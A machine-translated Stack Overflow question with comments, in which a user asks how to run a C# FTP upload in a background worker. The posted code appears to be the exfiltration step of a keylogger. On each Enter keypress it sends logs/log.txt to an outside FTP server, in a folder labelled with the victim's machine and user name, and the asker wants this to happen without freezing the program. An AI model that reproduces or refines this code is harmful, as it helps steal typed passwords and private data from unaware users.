我无法搞清楚如何线程我的FTP上传脚本。我试图从C#控制台应用程序上传它。我不喜欢它在上传时冻结应用程序的事实。我听说过使用“背景工作者”,但我完全不知道如何设置它。我一直在寻找一段时间。你可以给我一个例子吗?谢谢。线程FTP上传c#
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
string ftpsrc = Application.StartupPath + @"/logs/log.txt";
FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
request2.Method = WebRequestMethods.Ftp.UploadFile;
request2.Credentials = new NetworkCredential("username", "password");
StreamReader sourceStream2 = new StreamReader(ftpsrc);
byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
sourceStream2.Close();
request2.ContentLength = fileContents2.Length;
Stream requestStream2 = request2.GetRequestStream();
requestStream2.Write(fileContents2, 0, fileContents2.Length);
requestStream2.Close();
FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
response2.Close();
//~~~ End Enter Key ~~~//
}
我听说过使用后台工作器..你能给我一个背景工作的例子,当使用回车键时会调用它吗?例如if((Keys)vkCode == Keys.Enter) {// stuffs} – 2013-05-01 00:44:30
@Chris_Bogausch检查我的编辑。 – Nomad101 2013-05-01 00:48:42
非常感谢!我正在寻找一个实际的例子。我只是一个试图学习一些C#的小白。我感谢你帮助我!如果我需要帮助,请联系我。 – 2013-05-01 00:56:59